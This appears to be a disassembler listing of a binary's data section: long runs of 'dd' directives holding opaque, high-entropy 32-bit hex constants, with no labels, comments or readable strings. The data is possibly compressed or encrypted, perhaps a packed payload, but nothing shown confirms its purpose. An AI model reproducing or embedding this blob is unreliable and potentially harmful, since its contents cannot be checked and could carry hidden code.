		dd 275A5E5Ah, 692531E5h, 308D31Ah, 0C09DAF58h, 554AB2BBh
		dd 0B510B774h, 0AD10D2C6h, 0E9092965h, 1DD93AACh, 28AEE28Bh
		dd 0DA0BFFA8h, 0B76B6465h, 425286B9h, 800066ABh, 0A088DEC3h
		dd 0D1792CE6h, 3110BDC1h, 0E1810008h, 7A4916CEh, 0D1D925F7h
		dd 1E8BACC0h, 43036727h, 0DA0FD2C6h, 3AEC7276h,	0C498D4F6h
		dd 0E9FE06E1h, 0EB63F225h, 644EB9BBh, 0F4182FB7h, 93E889h
		dd 0C8BF0F5Ch, 9335E868h, 0AE70093Fh, 97BDDD53h, 0EFF4562Ch
		dd 32A5254Eh, 0D3E6E9F0h, 0B81B890h, 431F2129h,	0A917F5AEh
		dd 1F81DAF6h, 0C963001h, 0BB05815Bh, 1681245Ah,	79B3474Eh
		dd 0BF448A04h, 7252807Ah, 52961AD9h, 53257903h,	537C4C35h
		dd 0B85E0840h, 341A4D76h, 5DCE6090h, 34C94A30h,	5F7D130h
		dd 0E971A01Ch, 0C665884Fh, 0D5069F02h, 42FE0155h, 5F0807FAh
		dd 2F65BDA0h, 5B095836h, 0F841124Eh, 3104D273h,	95A93260h
		dd 0A0AA929Eh, 14BD5C52h, 0B3BB28E7h, 0F75E0AF1h, 691155DBh
		dd 0C26A2D5Ch, 0EFC1E985h, 0A210FDFDh, 0F38240CBh, 6EE61653h
		dd 242414E2h, 0D11EEED9h, 0D28BE9CFh, 91ADCA9h,	0F2D60C36h
		dd 0EFDB5565h, 38BC5D2Fh, 692DB681h, 0E86A27E6h, 8A2CC371h
		dd 925FD887h, 0BA7AB079h, 0B06D0E27h, 0C05413F0h, 3FBAF147h
		dd 5957EFFh, 0C4005613h, 6B3E188Ch, 0B8869BEh, 10318DCh
		dd 0A6F1E9F0h, 1E0AEC3Fh, 0DC624E44h, 8A39E477h, 60957871h
		dd 6F92B966h, 0BE1E5675h, 0FD6835E9h, 1EE0AD3Fh, 3998F109h
		dd 127EBDAFh, 164E681Ah, 0C117A061h, 221ED4Ch, 0CA2C17CDh
		dd 0A6315106h, 579026Fh, 9EC13D52h, 0A144F4E7h,	27F01F58h
		dd 2862C131h, 0BA229730h, 0CA81025Dh, 13861495h, 0B72868E2h
		dd 34D0CBB4h, 0B9A38510h, 61FA6801h, 0D85A08C8h, 0EB934DABh
		dd 1339BC09h, 250479C7h, 0F1330F65h, 5119DED1h,	1636BE90h
		dd 6EB638C2h, 285AF004h, 242CBCD8h, 5E9436C9h, 0E1052DE0h
		dd 2C7E4A05h, 0FEA97F57h, 0E7323A33h, 3C8CE1F7h, 0D965127Eh
		dd 54104142h, 79EB6649h, 23EC5B25h, 0D00AB306h,	50E2C13Ah
		dd 139F9803h, 1317141h,	17752548h, 59E2DF88h, 0C105F57Eh
		dd 0BE8008E7h, 7F965DC6h, 5FF92BF0h, 413C28D6h,	5FE1332Ah
		dd 9A84EFC5h, 804EC4A2h, 3F6076D0h, 5A8A474Fh, 0FF65176h
		dd 9402DB20h, 0F7842F63h, 9F75FC51h, 55ACB9ECh,	488CC412h
		dd 0AC4A40FBh, 0D768660Bh, 16335933h, 12300C4Dh, 0C77E8845h
		dd 0FC485874h, 0B5124A7Eh, 1FD2271Dh, 1B665F0h,	0F4E68038h
		dd 0D7D0DEF6h, 0B1A440F2h, 226AE5Eh, 46044848h,	28FC1510h
		dd 0C3DFD20h, 627A2DA4h, 0A22AE71Eh, 69AA96EEh,	3306F589h
		dd 9C98EF0Fh, 5AD0340h,	0D829542Dh, 9CDA003Ah, 49715B14h
		dd 811DB194h, 0E07B093Bh, 0C303800Fh, 833ABF91h, 7CBDD826h
		dd 290D42h, 9F685650h, 7AF53319h, 70413844h, 258111B2h
		dd 4269C0B8h, 0EB3BEC60h, 0C63C0ABAh, 0AC607358h, 536EEAE1h
		dd 0ED337B74h, 134B0C6Ch, 0A6E9B8C7h, 0AABA05FAh, 0EC678607h
		dd 0AB6075F7h, 0E555F64Bh, 4F217D79h, 0E93A8CF5h, 55C0925Bh
		dd 7930B6B3h, 0C1204EE3h, 40EAC1ADh, 92E1C282h,	1361295Ch
		dd 2DF468EFh, 0B25CF040h, 782C09E7h, 5D04B252h,	2E2088D0h
		dd 25011B40h, 9BC458C5h, 0C67D190h, 0EE82F0BDh,	20DB7C5Ah
		dd 1B6A2CCFh, 4444EF6Bh, 0C0E943Ch, 0AA428780h,	88517AC5h
		dd 0E024D70Bh, 785550D1h, 0E0290F68h, 0E8AF5D3Dh, 0E10384F5h
		dd 1B6B3741h, 3357E5D9h, 0D5F71B69h, 0DE6C300Bh, 0EF815B30h
		dd 580963B8h, 85F82125h, 0F6E0EB0Ah, 294000BBh,	68500923h
		dd 0F7006E18h, 3D0D587Dh, 122DE774h, 46B535h, 6E0C171h
		dd 9409BE56h, 745FFF03h, 7AB8E35h, 0F031C460h, 0E597895Eh
		dd 13DFA6A6h, 3B67B126h, 0F702F473h, 2D247CF9h,	0CC089065h
		dd 8868045Ch, 0DD65CD12h, 0C11B6CC3h, 15D1E95Bh, 6DA0316Bh
		dd 0E720625h, 0B6458E6h, 89C9F5C1h, 0E003EE2h, 36EA4225h
		dd 6BD74CF7h, 93715807h, 3E226F30h, 427CDC0Bh, 0B94F0903h
		dd 82FDA2E7h, 7D35AAA2h, 0D10AD99Eh, 0C9514503h, 0A809B924h
		dd 25074EB1h, 0CA6AE821h, 0FC6978F1h, 0C4C733Fh, 0E080D25Eh
		dd 55A0E955h, 0AFE1412Eh, 4FEB7CFEh, 0E73B6104h, 0AFC7B26h
		dd 97F517C0h, 0DB0CB901h, 0EDD104B4h, 0CABBC809h, 6389E29Fh
		dd 2CF2A0BBh, 501B079Eh, 3557C889h, 2783A8C7h, 0C334558h
		dd 1634D821h, 9B500A9Eh, 0A01A97B2h, 794BF5D6h,	3DEC0B8Bh
		dd 0B9688481h, 0C1707809h, 345C20F8h, 298C032Ch, 51B05F1Ah
		dd 205C054Ch, 0EAD1262Dh, 281B0058h, 0D0F74B9Fh, 3C0D04C0h
		dd 546A508h, 0DA9CBF2Dh, 82538409h, 102C5D0h, 0AF7C795Ch
		dd 365BAA49h, 2324B40h,	62C27E57h, 787E5FFEh, 428A767Ah
		dd 14261ADBh, 6B272710h, 48455ED3h, 0C28059ECh,	44B85DDEh
		dd 870A895h, 0C9995F16h, 0B00732E9h, 4B0D8EE6h,	0C683050Fh
		dd 2BCE2701h, 0CA4E2DFFh, 27A903D4h, 36D82104h,	2D607C59h
		dd 0EBA95158h, 0F287C8EAh, 8A48396Eh, 75CF0186h, 5808E1EDh
		dd 9B6C5916h, 0D3B3E9C2h, 68B9985Dh, 377BBB3Fh,	401A2448h
		dd 0D658EAEBh, 4ADCF61Bh, 0E0698961h, 4EB6277Dh, 47CB8449h
		dd 0F9602809h, 8FB4DAABh, 2C419888h, 0D568069Eh, 0CA298F43h
		dd 411E33Dh, 12D61A4Eh,	116F40FFh, 0B0CF0481h, 0D7646C7Dh
		dd 63E6331Bh, 0CA61618Ah, 205C0310h, 0F972F50h,	0F6B7C97Ch
		dd 0AFA2231Dh, 0E9103744h, 51E19ACh, 96ACF29h, 0FA6BBA4Bh
		dd 643C42B0h, 7DC99A5Ch, 87129E5Ah, 497925ADh, 464C3FD7h
		dd 0E8207283h, 4876B2B5h, 4C7A10B7h, 4E6C116h, 96BC9B65h
		dd 0F9205678h, 58681538h, 0DD188D6Ch, 1DB822FAh, 78661007h
		dd 0EC2C729h, 0E4C00011h, 0EC028008h, 0FED4F651h, 0F33061C4h
		dd 12704365h, 0D0CB5229h, 40A0A826h, 0BE1BCEC1h, 0CA891F02h
		dd 0C8542959h, 9D42E6B1h, 0D6C1F393h, 15AE4806h, 0D8F7A7C0h
		dd 1F612D40h, 7AB287C4h, 95FD20AAh, 20B67205h, 2F5BF59Fh
		dd 0D04ADE7Bh, 0BBF30D90h, 57D41F1Ch, 0E85B5231h, 0D901182Ah
		dd 91B929Ah, 84E94754h,	82282024h, 3B488A38h, 5FC0A699h
		dd 0A0F266F3h, 0D9893EF5h, 48FEF1AAh, 0F612395Bh, 8A576124h
		dd 0DE2B6D33h, 0D4A739C9h, 1BECEC18h, 6DF32A4Bh, 2659F010h
		dd 0FA167357h, 0C72104C9h
		dd 9B7467E9h, 0F0F74F58h, 371D50FFh, 86BC1FE0h,	578A2702h
		dd 6289010Ch, 87E96A54h, 65A27430h, 6EBC00Bh, 0FEEB8080h
		dd 9FD3F6CBh, 0C09827C9h, 752DE9DDh, 0C65F12C1h, 20DA278Bh
		dd 0C8A0BE79h, 805C73B2h, 0C1C855BEh, 0D35F78C3h, 41CBE41Fh
		dd 0E61191C7h, 148C14C8h, 865DEF01h, 0E9505381h, 5BE18A2Ah
		dd 0BC12D366h, 1867212h, 19C31F12h, 72299D5Fh, 6029EB10h
		dd 0C103994Dh, 0EAE9F31Ch, 96C4482Eh, 5A63331Eh, 0DDF4C8h
		dd 3C4BCE05h, 0D028013Eh, 34F8072Dh, 549C6913h,	0E9A116FCh
		dd 0D9003BFAh, 0CB611ABBh, 998E9F6Eh, 0BF02E369h, 88AFE617h
		dd 5066DD60h, 0ECE86B4h, 0E9E3018Eh, 0E333865h,	0C0022C78h
		dd 57CEEB95h, 0EC997098h, 0A5DA692h, 48A52C49h,	582F89C5h
		dd 68168D4Fh, 134F8AB2h, 0C671D920h, 996E52E5h,	4F490275h
		dd 5AB31DF8h, 5E148744h, 0C9AB9C16h, 0BD8642DCh, 94BDC958h
		dd 50079402h, 0BC3F126Dh, 45CA0323h, 41D6874h, 0FC7669CCh
		dd 0A512EF3Fh, 345AA1B3h, 0F82CAB5Ch, 0F1AE1253h, 0A07FAC15h
		dd 1E8F68h, 535E6FFAh, 4432C7BBh, 0D8010C00h, 6CF62D5Bh
		dd 2824789Fh, 2A0705F0h, 9A730E9h, 0A5685059h, 0E6045AA9h
		dd 30EC401Dh, 282975B5h, 2A072DF0h, 81ECFEE9h, 9D657894h
		dd 66B12C2Fh, 209864B7h, 54A0A443h, 19B53357h, 4D6FFE83h
		dd 302730D5h, 3A597FCAh, 0FFA29735h, 0CAB617E5h, 0A9E91FCAh
		dd 2EBA0AF0h, 17B30A2Bh, 38EBD029h, 0C842F4D3h,	0B8D65C89h
		dd 0CB42AF97h, 50871488h, 47E120DCh, 5E685F09h,	5F7BE624h
		dd 0B622146Eh, 40183C26h, 4D26BA52h, 0F702010Bh, 852B80DAh
		dd 984B3612h, 2B3909F5h, 82CB2A0Fh, 0D73BA1C8h,	4AA84158h
		dd 0CFFEDC00h, 0C0EBEF80h, 0D7F64606h, 4C7BB252h, 5095E20Eh
		dd 6E04C0B0h, 8532Ch, 0DAF658C2h, 8005EAC0h, 0AFF8B8F1h
		dd 0C70E2626h, 206B7B16h, 1283B2Fh, 0B700AED3h,	5A31CC42h
		dd 95414668h, 115194A4h, 9296F7h, 0B98DE80Eh, 0BC303F09h
		dd 5303B048h, 89F3CED0h, 376AE998h, 0B0373697h,	0A81D4839h
		dd 0D17158C9h, 5CE95382h, 38BA5764h, 5ECB6C56h,	0E8C16119h
		dd 0CDE6018h, 3166E9BCh, 6FB90589h, 130F4768h, 0F52528Bh
		dd 8665416Ch, 455672h, 0EE88064Eh, 0F32F2859h, 0E96A405Ah
		dd 2A8BBE6Dh, 32AA0BB3h, 0E4520A6h, 4A68871Dh, 0C8311002h
		dd 6A184DE9h, 0BAA782BDh, 5EF3607Ah, 0F7EB2C87h, 572A0B5Bh
		dd 56F05CC8h, 0B41C193Eh, 14C004DBh, 24AF52C7h,	27FA2912h
		dd 0FB364202h, 8E1B200h, 0BE6648D7h, 7F822D2Ah,	105F6401h
		dd 7A7DA43Eh, 6EF22641h, 12965FB1h, 0D28EE353h,	5BE96468h
		dd 0BE7000E7h, 21D12A8Ch, 60FA57BAh, 0C2984648h, 5D30CFB7h
		dd 0B9E9BE2Fh, 40516E42h, 0AFFD5C92h, 1A91710h,	9BBE5655h
		dd 0BDD46A35h, 609E13BAh, 0CC5AC8Eh, 64DD5F7h, 0FEBF0057h
		dd 0E916230Ah, 689E3892h, 0F6086CA6h, 0B0112A1h, 2400D4Eh
		dd 7513EDB8h, 4B171C0Fh, 0F7AD8095h, 8115C05Ah,	430502EFh
		dd 0C7292CADh, 4C088D10h, 9424B46h, 0F44BEDE9h,	8AA8950Ah
		dd 7A15BD03h, 3801680Fh, 6D992A38h, 58A0EF29h, 0B982BD08h
		dd 0CA0C4404h, 0D6530B3Dh, 85874F11h, 411E134Dh, 0A8AF3401h
		dd 42E9E4C6h, 644A7678h, 68A598DAh, 517DD12Dh, 0B5FEBF98h
		dd 802D1A6Ch, 0AB2690F8h, 393BBD22h, 98498BDAh,	9E087051h
		dd 80B516F2h, 6EEC183h,	16C5E681h, 0E1035AE3h, 1F143B63h
		dd 20221D7h, 566859CFh,	2B4A09D7h, 0AE0A6EC6h, 357B254Ah
		dd 0B2294514h, 0D31A7C5Ah, 2200544Ah, 640D99F3h, 4A23B161h
		dd 0AE2E506Eh, 9516200h, 0E9E6D146h, 1C09473h, 0BA06D8BDh
		dd 81EDF076h, 6B1FF500h, 97E97FCEh, 0EC50D3A3h,	5B988471h
		dd 0BF59F056h, 0C10160FCh, 7CCF810Dh, 9CF3338h,	0C315567Ch
		dd 0A8145683h, 0DAC2464Bh, 6F147650h, 27B8A136h, 0F501262Dh
		dd 0BCB8324h, 0DB0FA839h, 0C441B70Ah, 32607A28h, 0ED81F535h
		dd 5B172D72h, 4D4E6C78h, 64EAE324h, 5D27E0B1h, 0E91BA297h
		dd 682F8F3h, 0A83F57B8h, 0C509327Fh, 413147Eh, 290A5F5Ch
		dd 6F773CFAh, 0CB1F4D56h, 9F463E09h, 0B63F959Bh, 9D163D93h
		dd 0E913CC34h, 0D3DD1B72h, 0E989552Dh, 77A4F7C4h, 68535100h
		dd 62FE3ABAh, 0E3C1285Bh, 0CE78278Dh, 373E4CD3h, 95F05553h
		dd 0B7919CEEh, 9D006162h, 2EA01422h, 651E02B7h,	6E9375ADh
		dd 64504ACAh, 5CCA882Ch, 5152610Bh, 0E9669392h,	0B91E758Eh
		dd 68712232h, 30FB6C97h, 0F112FFBAh, 75FD724Ch,	0F8258C0Ch
		dd 96CE4018h, 1ECF201Fh, 0D4772302h, 6F48A901h,	0F52B2913h
		dd 411C9E6h, 5B3CA8CDh,	0B72DC90h, 453E1C66h, 0B0FF3B25h
		dd 4490100h, 0A7646206h, 1AA8E170h, 1ADDC7Ah, 0D95AD527h
		dd 0F2924B6Ch, 129C9901h, 6E0F20F5h, 92B52848h,	0BEEA0388h
		dd 17D02C46h, 2811B12Dh, 5890E259h, 643EB9BCh, 10FDB928h
		dd 0BF2ABDFCh, 3A76301Dh, 4565C291h, 4217D212h,	0AAC48C16h
		dd 5EBEA785h, 0CBB0CC37h, 0B792643h, 7F2014B8h,	78667D47h
		dd 8D5E6B30h, 0BA05499Ah, 0F85694B1h, 205935BDh, 0BBD05EAFh
		dd 0CE23E90Ch, 4713B55Fh, 0CFD76667h, 43F4B31h,	10E11330h
		dd 0D112163h, 0BE9A6CCBh, 0B548D8h, 0F809A5F4h,	0A4B355Fh
		dd 0AA464E28h, 0B3237A0Bh, 8C787Ch, 0BC0F96EEh,	6E6C173h
		dd 0CE01D099h, 587D3251h, 1DC0F6D9h, 122D5E21h,	4F8CAC8Bh
		dd 346074B1h, 0E617EE0Bh, 0FCCF4DE9h, 1B143026h, 0D070632h
		dd 20E6866h, 0E779C94Bh, 528F1D6Eh, 0F0FB12F9h,	0CD1E2CBCh
		dd 7D67525Bh, 72D66A0Bh, 0EFA6F153h, 96108069h,	85D24A2Ch
		dd 74E5CA1Fh, 0C1905A63h, 8980B807h, 0F42292D5h, 0E3364B3Fh
		dd 7BA4D75Eh, 2E4E45E9h, 57CA0D8Dh, 0EBDAE791h,	19AB5B62h
		dd 8C0503EDh, 290942C0h, 8ABAC859h, 0D4AC0DBBh,	3DC2942Dh
		dd 466B87E9h, 0E12F1502h, 0F045C05h, 5709E4D5h,	6092E880h
		dd 0BF0E40D6h, 80299F72h, 1DE9C701h, 1641B2E5h,	0F8026268h
		dd 0D934A52Ah, 6D5F29EAh, 0C5625AD0h, 4B19D05Dh, 2A0D18F7h
		dd 11C035E1h, 0D6E071F3h, 0E3DBD604h, 56BD60FEh, 9F2B3DE9h
		dd 0B3006A67h, 0B252501Fh, 0DBE91BFCh, 0F0836CCCh, 970502B9h
		dd 9988B92Ah, 0FE7C9AF1h, 0E4545B85h, 6D2043Bh,	0EED3E31Dh
		dd 0BF5E3791h, 5EBFCC54h, 8B579566h, 689E804Eh,	0E597652Eh
		dd 33E90577h, 0A534BF3Eh, 0E6B9DB89h, 0BB8A53BAh, 13095927h
		dd 0BDA2025Bh, 0CA603199h, 7B7F56F5h, 6CACDEEh,	0F70F06E9h
		dd 248788D9h, 3F011C8Bh, 0C1685705h, 0FF8D3705h, 0EB7C4527h
		dd 1602F919h, 0CFE31F3Ah, 0E43D87Fh, 0D6257EBh,	0E1F9C30Ah
		dd 7624C4C7h, 0B6DCFD28h, 602B9E20h, 2F934919h,	90144397h
		dd 0EF20A10Dh, 3CF7EB30h, 0A4CEA44Eh, 7F180C43h, 0B50C5CCFh
		dd 9D80E2C4h, 7DDACE2h,	0B8600547h, 24E9FE1Ch, 599E56AFh
		dd 0E73C0819h, 7265AB05h, 0ECF84D72h, 2729AC08h, 0C68BD868h
		dd 0D1EE24D9h, 0B70F39D8h, 5925C991h, 24D0C8D4h, 885D9DE4h
		dd 702D0BCBh, 0A31ECEE4h, 0EB831730h, 6BEDA4A5h, 0B583007Eh
		dd 308BB223h, 5959EA26h, 4E9F110Bh, 5F561659h, 850BFC5Eh
		dd 0B0E128E9h, 0CDE29D78h, 99950229h, 0C85E0408h, 574A4C90h
		dd 63815995h, 59630CE8h, 0FBB5300h, 0B81F1B01h,	96DD606h
		dd 9F2C3169h, 5B568FABh, 0EDE08E49h, 0D860712Bh, 34CE5A13h
		dd 54DAC4AEh, 0A02F55BDh
		dd 0AE591A8Bh, 0B5A410C9h, 0ECBA41Ch, 8042B025h, 7AD7C5C0h
		dd 76D816E8h, 2E2B87A8h, 83C55CDFh, 4BBECB81h, 0E900AB9Ch
		dd 0E8132569h, 5BDD0229h, 4F64685Ah, 966C96D7h,	64E909FEh
		dd 2F5602ABh, 6E1EE9F8h, 0E7C4D50Ah, 740088C4h,	0BB026596h
		dd 0C1723FFEh, 0C6CB8FCh, 0E9AA5927h, 7B72622h,	31A9343Eh
		dd 2339A1E9h, 3AD548E1h, 29D79F61h, 6D80BF93h, 74E2C14Ah
		dd 69809D04h, 24EE0DBBh, 16DEBE02h, 1296931h, 3ECEE953h
		dd 5630C8D2h, 72585156h, 5156C0B9h, 1270DA68h, 5966A8h
		dd 0F225CBE8h, 9725E96Ch, 98E4EEC9h, 0F6A4BA2Eh, 28161646h
		dd 2AE8F112h, 0BA051B30h, 9030F46Ch, 6F5009D7h,	2087449Fh
		dd 33FC1F7h, 0E95D7010h, 515CB32Fh, 95CCAD22h, 0AE892C1h
		dd 0EAF03BFEh, 76657186h, 0B4E2054Eh, 9C7BAB45h, 4F94241h
		dd 777262C7h, 0A8935DB8h, 3A4A45F9h, 0FD8A875Ch, 62129D5Bh
		dd 72DDAD52h, 546873F5h, 161FBD02h, 0C5F3C18h, 0A32D0670h
		dd 28BAC50Ah, 0C84DE9B7h, 0D629170Ch, 45EE3B02h, 0F185633Eh
		dd 896E3A58h, 0A7D16020h, 20107F3Eh, 0BEE91A89h, 0FB007A99h
		dd 60751FAEh, 56028890h, 899F8AE0h, 0DFB7E9EFh,	9719FAF4h
		dd 802CACAh, 7A59F5E9h,	0E580449h, 5B4A0500h, 2E986810h
		dd 3E40B741h, 1207C181h, 144C86Dh, 9A637259h, 7A822E42h
		dd 8387FF5Dh, 902D3449h, 1DB15153h, 0C64884F6h,	2C7827Bh
		dd 34EE4833h, 4E418228h, 69127ABDh, 481AA592h, 19D7BBD0h
		dd 0D41BEE76h, 0E90D85D3h, 53D7DAB7h, 0A6D32065h, 0F232CB66h
		dd 5C92A92Ch, 2461F27Fh, 9B100BAh, 0E8B70553h, 0B017CF80h
		dd 0F201F792h, 525BF928h, 50CACA88h, 0FFC3FEC2h, 4FE9AFC8h
		dd 33F80B93h, 0F841141Ah, 1A5662A3h, 652298E6h,	4D12BF2Bh
		dd 2532B950h, 0FCC36244h, 555C78B8h, 4A214295h,	506DD6FCh
		dd 8F9510E9h, 0FF3AE15h, 48E125D0h, 726641CCh, 0B05D9A51h
		dd 7DE5522h, 10620D21h,	958F7D4h, 2BCD680Fh, 7E7CED33h
		dd 7E59B819h, 0CF60C712h, 0A0F97B29h, 0B50EB0C7h, 94F70B3Ah
		dd 4EE1A32Ch, 883E0511h, 6260FB0Ah, 822853E9h, 485C244Ah
		dd 403D5582h, 2741C641h, 3C6C13FEh, 773A9DA0h, 1AA41A58h
		dd 0E8D31690h, 9FD983E2h, 680591E4h, 2B540C1Ch,	4FBCAB12h
		dd 0E9C570B4h, 6495123Fh, 0C41EB6EAh, 10F7ADC8h, 0BF0031E6h
		dd 11EB3208h, 0A2096853h, 0D428F859h, 21973E9Dh, 0C062B185h
		dd 442C3E3Bh, 0DC094153h, 0B0A0C4F0h, 40035BBFh, 0DA7EA5E3h
		dd 0EB3FD10Ch, 0E8F32743h, 0B553C2BFh, 9379109Ah, 87097D26h
		dd 89C67B2Ch, 0F942B9E9h, 5D44F474h, 40F18DC8h,	0F60E8047h
		dd 0A4C6FE33h, 90C2D8EEh, 2DA3A2B2h, 50675402h,	97D0A0E9h
		dd 0C0DC25C2h, 12D98849h, 8C8285Bh, 56133C58h, 8434E2C8h
		dd 0F65C83C2h, 0CCA2E9E1h, 41DD4520h, 19B2060Bh, 0FCA4C84Bh
		dd 0DD974B2Fh, 6C19ED36h, 2E5B2CA0h, 1D18248Ch,	5FE590F3h
		dd 0E81135BBh, 56E2F48Eh, 28119297h, 0C9F40962h, 0F2C0B609h
		dd 96E83075h, 3FB9C98Fh, 906F7126h, 7C1E0609h, 0CFA4965h
		dd 7F31534Ch, 315C65Ah,	98CC9EA0h, 0FEA4DF2h, 4E8E0F68h
		dd 0EC1A4A65h, 0FBF89679h, 26C1DB5Eh, 13A6E863h, 0C18BA53Bh
		dd 0C83A5C04h, 0B5C28E77h, 7804EFC1h, 0B54EA26h, 1E5D263h
		dd 0D00E17D0h, 226E6D2Dh, 0E1555A0Bh, 5C0298F6h, 498B2FF7h
		dd 0DACCA922h, 11E263D0h, 91FA565Eh, 63BCD458h,	326CE08h
		dd 2CF5B050h, 0C2C627DFh, 0E5D4425Bh, 17EFB165h, 7FD4E512h
		dd 66EB4900h, 97041A6Dh, 5B09A5C4h, 740CFE68h, 0BCCB64B2h
		dd 1858252Ah, 7D4F2DDCh, 0B8277B65h, 11E909B8h,	9AD80782h
		dd 0E0D1D800h, 1205D52Dh, 0A7C09DAEh, 0D40BE581h, 7C3FF773h
		dd 0E9088303h, 634C5638h, 7FFC207Ch, 0F14728BBh, 5BDA16F5h
		dd 0EF2AB009h, 318E0348h, 0F88897B0h, 70C38E20h, 6133B258h
		dd 0FE6AF4A1h, 0E9F1E0C9h, 27EC072h, 0FFC13Bh, 535203E1h
		dd 5B8822B3h, 28ED28DAh, 505AD100h, 0F4804EB4h,	1EFE7F90h
		dd 3905E4C0h, 2D2FB0A4h, 0EB18883h, 0B27536BAh,	51827461h
		dd 285AC568h, 0C6D89719h, 583A952Dh, 0DA8BF7DEh, 1431D202h
		dd 0E7E0C193h, 0FE40ED3Eh, 0F80C739h, 85F90865h, 88B3B814h
		dd 2D709525h, 0DAD31BBFh, 0A3A74A6h, 12964C34h,	0B8C61C70h
		dd 6B93CB3Fh, 966FA81Bh, 0AE2078FCh, 0BF03F0A2h, 104A95B9h
		dd 0E01A3949h, 98CD0193h, 719B0500h, 0FD59110Ah, 0FE918495h
		dd 0B24A0412h, 50D42720h, 34FF0294h, 17BDB871h,	0DF20E249h
		dd 0E7731208h, 122BD5EDh, 860B9189h, 3BC2C9D3h,	0EA686681h
		dd 0AC963497h, 15E6108Bh, 26F5DA5Fh, 580973B1h,	6F4EFCEFh
		dd 9BA18813h, 0EC009441h, 0E4C16852h, 0A605480Eh, 90DF203h
		dd 0CAB004C8h, 414C6BBDh, 9F0B22F7h, 814DA766h,	0E180052h
		dd 0BCE95E2Dh, 15FA9938h, 5907BE15h, 8BC68058h,	0D3E51E07h
		dd 1B764128h, 5EB390D6h, 23219C7Dh, 18951FF3h, 0C580277Ch
		dd 0E5C05C0Bh, 2F24F606h, 80137EE5h, 0CD243D85h, 5E03E2FCh
		dd 4E51AF02h, 6EF68188h, 0E690D2E0h, 0E98C605h,	4FBFEB8h
		dd 0D6E67368h, 0DE0C50B7h, 441BFA78h, 0F31A16BBh, 0E39B965h
		dd 0A4983488h, 9BFC7401h, 8A400CD0h, 7E9359E4h,	21286F17h
		dd 32A380Fh, 0B3111631h, 0E8B69946h, 19B53DABh,	3828F8EEh
		dd 5679235Bh, 7C4FA504h, 50A85B89h, 0D9F30F69h,	433AE905h
		dd 238B95E9h, 0CA87CC40h, 3C138C4h, 5709CC81h, 6231C570h
		dd 1A8A2847h, 0DEC73877h, 52229F5Bh, 0A374AE72h, 6E712BC2h
		dd 20E3A410h, 5592299Ah, 43356815h, 4EBE487Ch, 2CAC08C1h
		dd 4AAFC2F7h, 0DE90F778h, 6D4E7368h, 512779B3h,	475CD709h
		dd 0AE89455Ah, 0FCF65247h, 0CB2129C4h, 386801A5h, 85A3192h
		dd 502512C1h, 302A901Ch, 0EB5B2C7Dh, 43D1ED1h, 0C6569235h
		dd 0BD50FE9Ch, 96FD0F32h, 20569AC1h, 0E28B091Ah, 7B9E2BC1h
		dd 0B83F7A44h, 411DEBF4h, 42A64103h, 68E604DBh,	0A133952h
		dd 1C9BE2AAh, 0C59FE831h, 21ACF313h, 6290F74Eh,	4EFA5179h
		dd 57B0BF3Ah, 11043C67h, 0A8E1E97Dh, 26D63107h,	0F77809F2h
		dd 550FE40h, 535F5857h,	0FF06FA51h, 3ED5B9D8h, 0ED8080B8h
		dd 79A1050Bh, 2D0C3B74h, 0A550706h, 45317F1h, 577BC37Fh
		dd 0F72FDFE6h, 90BD35Eh, 24593D8h, 20B0700Bh, 6F4088C6h
		dd 0E3810927h, 0CA091782h, 0E40EA956h, 0C0C7AB9Eh, 16BE2D43h
		dd 0F8174F66h, 0D40741F6h, 2B50619Dh, 0D640BCB8h, 857CBC5Bh
		dd 0FB0ACA68h, 12FA6231h, 0FF67332Ah, 47950378h, 205F1254h
		dd 9796E95Dh, 9D66E49Fh, 95781B6Ah, 807A0142h, 34A43D02h
		dd 0D888D699h, 0A5B0327Bh, 0FE18B100h, 6720B8C1h, 0F7800A05h
		dd 0CDE20B1Ch, 0F4EFC461h, 0C8700458h, 72CF83Ah, 0F0B2525Bh
		dd 4BB890Bh, 0A9F8A9DBh, 3E30F9A1h, 27E7B691h, 9162178Ch
		dd 618214CBh, 0EA6177D5h, 6160A335h, 0DBF62F1Eh, 0CA200959h
		dd 5F2E6997h, 3E03C12Fh, 40176391h, 0F94ACDC2h,	0AF1729B3h
		dd 89B0ED25h, 0CA300052h, 214CD6Bh, 1E2A2035h, 0EC82C16Fh
		dd 2441C083h, 0D4ADD9D8h, 35007E26h, 3C0B2AA2h,	258C289h
		dd 4207E2C1h, 0BC92EA81h, 85FE6DD8h, 8D269F38h,	0B9091BE9h
		dd 175E0DBh, 1696936Ch,	0A6984155h, 61294E66h, 28533F5Fh
		dd 0C44EE7ACh, 5FCEF2A7h, 5F22D7B4h, 0CDA05DBFh, 0F60ED1FBh
		dd 0D1ADE859h, 25A16970h
		dd 517BE9C1h, 38F3289Ch, 33F34E84h, 0A4EB02C8h,	36C26C45h
		dd 0F3D7ABEBh, 297E49F3h, 50A26669h, 80A5F755h,	6417D7BAh
		dd 961F513Fh, 0B01D2409h, 80CA5976h, 302F97B1h,	382FDBC1h
		dd 0CF6F815Bh, 0CBCC2A91h, 7B6F180Ch, 3A807665h, 4B203D18h
		dd 5039690Eh, 0BAB9A543h, 45BCBF63h, 7F651EC7h,	17FF46C5h
		dd 189F4A1h, 562597BCh,	5AC7378h, 40FD77E9h, 910E22Ch
		dd 96F49F53h, 8FDB064Fh, 0C4D09510h, 75B16E4Ah,	0D73AB42Eh
		dd 0AA7620E9h, 0E1ADA46Eh, 4C4F4AEBh, 5B2C0C82h, 80DE0BD0h
		dd 0CD008A0h, 38795114h, 8BC19FB0h, 685A5808h, 0E9C0C8CEh
		dd 0E3955E37h, 7FE589Ah, 4B7A5593h, 5653DAA0h, 37B90151h
		dd 0E917850Fh, 4B217714h, 0BD553900h, 5CF77F72h, 52CB725h
		dd 49222757h, 0EB1B6137h, 98774AA1h, 0B52F51B9h, 4F38D844h
		dd 743E840Bh, 16988B61h, 830B535Ah, 2CADC019h, 7410900Eh
		dd 4BC3B204h, 291FC881h, 1BA0CD5Fh, 0B75D75EAh,	16DBE348h
		dd 0E92F4F1Fh, 8B27CDBEh, 46A2EF5h, 0D08766EBh,	4ED0A6A3h
		dd 84468714h, 2D37A006h, 1E43FD0Fh, 0A2794B4Ah,	0F6505DEFh
		dd 0D25CE2F0h, 6F20B872h, 576639FDh, 0DD58BF0Bh, 95FB4187h
		dd 9CC2A05Fh, 0D9140466h, 0ECC14110h, 489FE8F8h, 0C59FC218h
		dd 0BB5FFAB7h, 26677A01h, 0C7FC0ABBh, 5165C9F4h, 0B003B485h
		dd 4067E362h, 0F3622D06h, 0E93601A8h, 0B7527A2Ah, 0E4CF4013h
